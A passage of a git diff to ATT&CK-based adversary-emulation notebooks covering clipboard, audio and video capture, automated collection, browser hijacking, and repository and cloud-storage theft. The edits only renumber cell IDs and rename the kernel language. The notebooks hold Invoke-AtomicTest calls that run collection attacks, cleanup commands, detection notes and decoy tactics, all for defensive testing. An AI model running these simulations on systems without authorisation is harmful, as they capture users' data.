"execution_count": null, - "id": "f5562be6", + "id": "2f6191a5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1115 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "89625c2a", + "id": "6d85c1c7", "metadata": {}, "source": "## Detection\nAccess to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity." }, { "cell_type": "markdown", - "id": "51b19ef7", + "id": "cc76a04a", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Content \n Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc. \n\n Decoy Content is the data used to tell a story to an adversary. This content can be legitimate or synthetic data which is used to reinforce or validate your defensive strategy. Examples of decoy content are files on a storage object, entries in the system registry, system shortcuts, etc.\n#### Opportunity\nThere is an opportunity to introduce data to an adversary to influence their future behaviors.\n#### Use Case\nA defender can insert into a system's clipboard decoy content for the adversary to find. \n#### Procedures\nCreate directories and files with names and contents using key words that may be relevant to an adversary to see if they examine or exfiltrate the data.\nSeed a file system with content that is of no value to the company but reinforces the legitimacy of the system if viewed by an adversary.\n" } @@ -167,13 +167,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1119.ipynb b/playbook/tactics/collection/T1119.ipynb index 7fe1aeca..b398498c 100644 --- a/playbook/tactics/collection/T1119.ipynb +++ b/playbook/tactics/collection/T1119.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "c6244de6", + "id": "898b57db", "metadata": {}, "source": "# T1119 - Automated Collection\nOnce established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. In cloud-based environments, adversaries may also use cloud APIs, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments." }, { "cell_type": "markdown", - "id": "63f4a515", + "id": "b8c79478", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "88a45e19", + "id": "64e81de4", "metadata": {}, "source": [ "### Atomic Test #1 - Automated Collection Command Prompt", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a690070f", + "id": "f7edca4a", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1119 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "f9130186", + "id": "4944b15d", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %temp%\\T1119_command_prompt_collection /F /Q >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "bbad0584", + "id": "f86cf3cd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1119 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "3cb51d72", + "id": "203fbe89", "metadata": {}, "source": [ "### Atomic Test #2 - Automated Collection PowerShell", @@ -61,28 +61,28 @@ { "cell_type": "code", "execution_count": null, - "id": "011ff5e3", + "id": "0e70a5ec", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1119 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "17519828", + "id": "769d2d8c", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\T1119_powershell_collection -Force -ErrorAction Ignore | Out-Null\n```" }, { "cell_type": "code", "execution_count": null, - "id": "77cd6149", + "id": "9a51f49d", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1119 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "4b47a1bf", + "id": "831a503f", "metadata": {}, "source": [ "### Atomic Test #3 - Recon information for export with PowerShell", @@ -95,28 +95,28 @@ { "cell_type": "code", "execution_count": null, - "id": "0b8b8a77", + "id": "9c8018ea", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1119 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "1b89359c", + "id": "8703abad", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item $env:TEMP\\T1119_1.txt -ErrorAction Ignore\nRemove-Item $env:TEMP\\T1119_2.txt -ErrorAction Ignore\nRemove-Item $env:TEMP\\T1119_3.txt -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "356acf61", + "id": "24ffa383", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1119 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "c6e5adb9", + "id": "4f8ab72f", "metadata": {}, "source": [ "### Atomic Test #4 - Recon information for export with Command Prompt", @@ -129,34 +129,34 @@ { "cell_type": "code", "execution_count": null, - "id": "4c005d1a", + "id": "1aa8e897", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1119 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "95ac9805", + "id": "66dbe18b", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %TEMP%\\T1119_1.txt >nul 2>&1\ndel %TEMP%\\T1119_2.txt >nul 2>&1\ndel %TEMP%\\T1119_3.txt >nul 2>&1\ndel %TEMP%\\T1119_4.txt >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d70365b2", + "id": "add913ba", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1119 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "d054c873", + "id": "90e5717b", "metadata": {}, "source": "## Detection\nDepending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as through cloud APIs and command line interfaces." }, { "cell_type": "markdown", - "id": "0fac549b", + "id": "9282ff12", "metadata": {}, "source": "\n## Shield Active Defense\n### Pocket Litter \n Place data on a system to reinforce the legitimacy of the system or user. \n\n Pocket Litter is data placed on a system to convince an adversary that the system and users are real. Pocket litter includes documents, registry entries, log history, browsing history, connection history, and other user data that one would expect to exist on a user's computer. This content may overlap with Decoy Content, however Pocket Litter covers aspects beyond just content (e.g.: Installed Applications, source code, clutter on a system, etc.).\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to seed content to influence an adversary's behaviors, test their interest in specific topics, or add legitimacy to a system or environment.\n#### Use Case\nA defender can stage a variety of pocket litter files to see if the adversary collect any of those files in an automated manner.\n#### Procedures\nWhen staging a decoy system and user account, populate a user's folders and web history to make it look realistic to an adversary.\nStage a USB device with documents on a specific topic in order to see if they are exfiltrated by an adversary.\n" } @@ -164,13 +164,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1123.ipynb b/playbook/tactics/collection/T1123.ipynb index f8476eb1..8fcc812b 100644 --- a/playbook/tactics/collection/T1123.ipynb +++ b/playbook/tactics/collection/T1123.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "f8f95aa1", + "id": "8bac9ae5", "metadata": {}, "source": "# T1123 - Audio Capture\nAn adversary can leverage a computer's peripheral devices (e.g., microphones and webcams) or applications (e.g., voice and video call services) to capture audio recordings for the purpose of listening into sensitive conversations to gather information.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture audio. Audio files may be written to disk and exfiltrated later." }, { "cell_type": "markdown", - "id": "6bd639bc", + "id": "f98fff7a", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "5884d247", + "id": "2b0ebced", "metadata": {}, "source": [ "### Atomic Test #1 - using device audio capture commandlet", @@ -27,14 +27,14 @@ { "cell_type": "code", "execution_count": null, - "id": "0d46812f", + "id": "88467087", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1123 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "6cf1db4a", + "id": "8651c2d9", "metadata": {}, "source": [ "### Atomic Test #2 - Registry artefact when application use microphone", @@ -47,28 +47,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ead3de9d", + "id": "4d27e9a5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1123 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "fe0decde", + "id": "ebefd058", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg DELETE HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\microphone\\NonPackaged\\C:#Windows#Temp#atomic.exe /f\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b1698da7", + "id": "d333d9c4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1123 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "89bac619", + "id": "d64a7c53", "metadata": {}, "source": [ "### Atomic Test #3 - using Quicktime Player", @@ -81,34 +81,34 @@ { "cell_type": "code", "execution_count": null, - "id": "36b640b5", + "id": "82fd5d44", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1123 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "370eb2fa", + "id": "818120a4", "metadata": {}, "source": "#### Cleanup: \n```sh\nif test -w /tmp/T1123.m4a; then\n rm /tmp/T1123.m4a\nfi\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e0a7099a", + "id": "860104ed", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1123 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "e098eac6", + "id": "27e45f04", "metadata": {}, "source": "## Detection\nDetection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the microphone, recording devices, or recording software, and a process periodically writing files to disk that contain audio data." }, { "cell_type": "markdown", - "id": "762c0397", + "id": "02436026", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Content \n Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc. \n\n Decoy Content is the data used to tell a story to an adversary. This content can be legitimate or synthetic data which is used to reinforce or validate your defensive strategy. Examples of decoy content are files on a storage object, entries in the system registry, system shortcuts, etc.\n#### Opportunity\nThere is an opportunity to feed content to an adversary to influence their behaviors, test their interest in specific topics, or add legitimacy to a system or environment.\n#### Use Case\nA defender can introduce decoy audio content designed to make the adversary believe that their audio capture efforts are working.\n#### Procedures\nCreate directories and files with names and contents using key words that may be relevant to an adversary to see if they examine or exfiltrate the data.\nSeed a file system with content that is of no value to the company but reinforces the legitimacy of the system if viewed by an adversary.\n" } @@ -116,13 +116,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1125.ipynb b/playbook/tactics/collection/T1125.ipynb index b0bfb589..79ec66c8 100644 --- a/playbook/tactics/collection/T1125.ipynb +++ b/playbook/tactics/collection/T1125.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "a065001f", + "id": "83afbd29", "metadata": {}, "source": "# T1125 - Video Capture\nAn adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)" }, { "cell_type": "markdown", - "id": "c2644add", + "id": "b6254e4a", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "61dd408a", + "id": "f992910b", "metadata": {}, "source": [ "### Atomic Test #1 - Registry artefact when application use webcam", @@ -27,34 +27,34 @@ { "cell_type": "code", "execution_count": null, - "id": "8cd00f1f", + "id": "dc2534c3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1125 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "4190fd44", + "id": "12b320db", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg DELETE HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\CapabilityAccessManager\\ConsentStore\\webcam\\NonPackaged\\C:#Windows#Temp#atomic.exe /f\n```" }, { "cell_type": "code", "execution_count": null, - "id": "fd2bd917", + "id": "cbc132dd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1125 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "6113e29c", + "id": "f6a90635", "metadata": {}, "source": "## Detection\nDetection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data." }, { "cell_type": "markdown", - "id": "7f77ca67", + "id": "dea2c42c", "metadata": {}, "source": "\n## Shield Active Defense\n### Decoy Content \n Seed content that can be used to lead an adversary in a specific direction, entice a behavior, etc. \n\n Decoy Content is the data used to tell a story to an adversary. This content can be legitimate or synthetic data which is used to reinforce or validate your defensive strategy. Examples of decoy content are files on a storage object, entries in the system registry, system shortcuts, etc.\n#### Opportunity\nThere is an opportunity to feed content to an adversary to influence their behaviors, test their interest in specific topics, or add legitimacy to a system or environment.\n#### Use Case\nA defender can introduce video content designed to make the adversary believe that their capture efforts are working.\n#### Procedures\nCreate directories and files with names and contents using key words that may be relevant to an adversary to see if they examine or exfiltrate the data.\nSeed a file system with content that is of no value to the company but reinforces the legitimacy of the system if viewed by an adversary.\n" } @@ -62,13 +62,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1185.ipynb b/playbook/tactics/collection/T1185.ipynb index 9c3564d4..30708035 100644 --- a/playbook/tactics/collection/T1185.ipynb +++ b/playbook/tactics/collection/T1185.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "f64e39e4", + "id": "ab2e1393", "metadata": {}, "source": "# T1185 - Browser Session Hijacking\nAdversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)" }, { "cell_type": "markdown", - "id": "3c368e3c", + "id": "01e0ca0b", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "ed272167", + "id": "8a0c5d17", "metadata": {}, "source": "## Detection\nThis may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications." }, { "cell_type": "markdown", - "id": "baff7b92", + "id": "78aaa02a", "metadata": {}, "source": "\n## Shield Active Defense\n### Burn-In \n Exercise a target system in a manner where it will generate desirable system artifacts.\n \n\n Exercising the system to create desirable system artifacts including web browsing, filesystem usage, running user applications like office suites, etc. The burn-in process can be specific to a user or system, depending on your needs.\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to prepare a user's browser data (sessions, cookies, etc.) so it looks authentic and fully populated.\n#### Use Case\nA defender can perform web browsing tasks on a decoy system over time to give the adversary a robust set of browser data that looks realistic and could potentially be used during adversary engagement.\n#### Procedures\nConfigure a decoy system and allow it to be used in an manner such that it collects activity logs and appears to be to be a legitimate system.\nConfigure a system to generate internet browser traffic for a decoy user profile, creating artifacts such as cookies, history, temp files, etc.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1213.001.ipynb b/playbook/tactics/collection/T1213.001.ipynb index 2d26f923..da302ff6 100644 --- a/playbook/tactics/collection/T1213.001.ipynb +++ b/playbook/tactics/collection/T1213.001.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "159c1a7c", + "id": "a2d0d0b6", "metadata": {}, "source": "# T1213.001 - Confluence\n\nAdversaries may leverage Confluence repositories to mine valuable information. Often found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation, however, in general may contain more diverse categories of useful information, such as:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n" }, { "cell_type": "markdown", - "id": "1e149dd3", + "id": "537f1411", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "56f32433", + "id": "94945cde", "metadata": {}, "source": "## Detection\nMonitor access to Confluence repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nUser access logging within Atlassian's Confluence can be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1213.002.ipynb b/playbook/tactics/collection/T1213.002.ipynb index 8514e385..20263fcc 100644 --- a/playbook/tactics/collection/T1213.002.ipynb +++ b/playbook/tactics/collection/T1213.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "7c49daeb", + "id": "1ae1c7dc", "metadata": {}, "source": "# T1213.002 - Sharepoint\nAdversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n" }, { "cell_type": "markdown", - "id": "43f7b31b", + "id": "2a1d40c5", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "bcd3a8df", + "id": "a6822229", "metadata": {}, "source": "## Detection\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \n\n" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1213.003.ipynb b/playbook/tactics/collection/T1213.003.ipynb index 182f7d71..0861fbb6 100644 --- a/playbook/tactics/collection/T1213.003.ipynb +++ b/playbook/tactics/collection/T1213.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "f0d9c6bb", + "id": "501e2f65", "metadata": {}, "source": "# T1213.003 - Code Repositories\nAdversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\n\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)\n\n**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories." }, { "cell_type": "markdown", - "id": "9b58eb38", + "id": "8de6436d", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "48f9cc58", + "id": "d13b6422", "metadata": {}, "source": "## Detection\nMonitor access to code repositories, especially performed by privileged users such as Active Directory Domain or Enterprise Administrators as these types of accounts should generally not be used to access code repositories. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user-based anomalies." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1213.ipynb b/playbook/tactics/collection/T1213.ipynb index 63ae599e..601633bf 100644 --- a/playbook/tactics/collection/T1213.ipynb +++ b/playbook/tactics/collection/T1213.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "b0b69a44", + "id": "6fe09c4a", "metadata": {}, "source": "# T1213 - Data from Information Repositories\nAdversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization. \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server." }, { "cell_type": "markdown", - "id": "de1469cd", + "id": "cb82886e", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "f5c126b8", + "id": "20f06d5e", "metadata": {}, "source": "## Detection\nAs information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) Sharepoint audit logging can also be configured to report when a user shares a resource. (Citation: Sharepoint Sharing Events) The user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities. " }, { "cell_type": "markdown", - "id": "f085abc9", + "id": "e5f8d1e5", "metadata": {}, "source": "\n## Shield Active Defense\n### Pocket Litter \n Place data on a system to reinforce the legitimacy of the system or user. \n\n Pocket Litter is data placed on a system to convince an adversary that the system and users are real. Pocket litter includes documents, registry entries, log history, browsing history, connection history, and other user data that one would expect to exist on a user's computer. This content may overlap with Decoy Content, however Pocket Litter covers aspects beyond just content (e.g.: Installed Applications, source code, clutter on a system, etc.).\n#### Opportunity\nIn an adversary engagement scenario, there is an opportunity to seed content to influence an adversary's behaviors, test their interest in specific topics, or add legitimacy to a system or environment.\n#### Use Case\nA defender can stage a variety of pocket litter files on an attached storage space. This data may include topics that align to a persona, topics an adversary is interested in, etc.\n#### Procedures\nWhen staging a decoy system and user account, populate a user's folders and web history to make it look realistic to an adversary.\nStage a USB device with documents on a specific topic in order to see if they are exfiltrated by an adversary.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/collection/T1530.ipynb b/playbook/tactics/collection/T1530.ipynb index 177f3294..ea8b286d 100644 --- a/playbook/tactics/collection/T1530.ipynb +++ b/playbook/tactics/collection/T1530.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "8f490eb1", + "id": "d1c22b7b", "metadata": {}, - "source": "# T1530 - Data from Cloud Storage\nAdversaries may access data from improperly secured cloud storage.\n\nMany cloud service providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. \n\nIn other cases, SaaS application providers such as Slack, Confluence, and Salesforce also provide cloud storage solutions as a peripheral use case of their platform. These cloud objects can be extracted directly from their associated application.(Citation: EA Hacked via Slack - June 2021)(Citation: SecureWorld - How Secure Is Your Slack Channel - Dec 2021)(Citation: HackerNews - 3 SaaS App Cyber Attacks - April 2022)(Citation: Dark Clouds_Usenix_Mulazzani_08_2011)\n\nAdversaries may collect sensitive data from these cloud storage solutions. Providers typically offer security guides to help end users configure systems, though misconfigurations are a common problem.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019) There have been numerous incidents where cloud storage has been improperly secured, typically by unintentionally allowing public access to unauthenticated users, overly-broad access by all users, or even access for any anonymous person outside the control of the Identity Access Management system without even needing basic user permissions.\n\nThis open access may expose various types of sensitive data, such as credit cards, personally identifiable information, or medical records.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017)(Citation: Rclone-mega-extortion_05_2021)\n\nAdversaries may also obtain then abuse leaked credentials from source repositories, logs, or other means as a way to gain access to cloud storage objects." + "source": "# T1530 - Data from Cloud Storage\nAdversaries may access data from cloud storage.\n\nMany IaaS providers offer solutions for online data object storage such as Amazon S3, Azure Storage, and Google 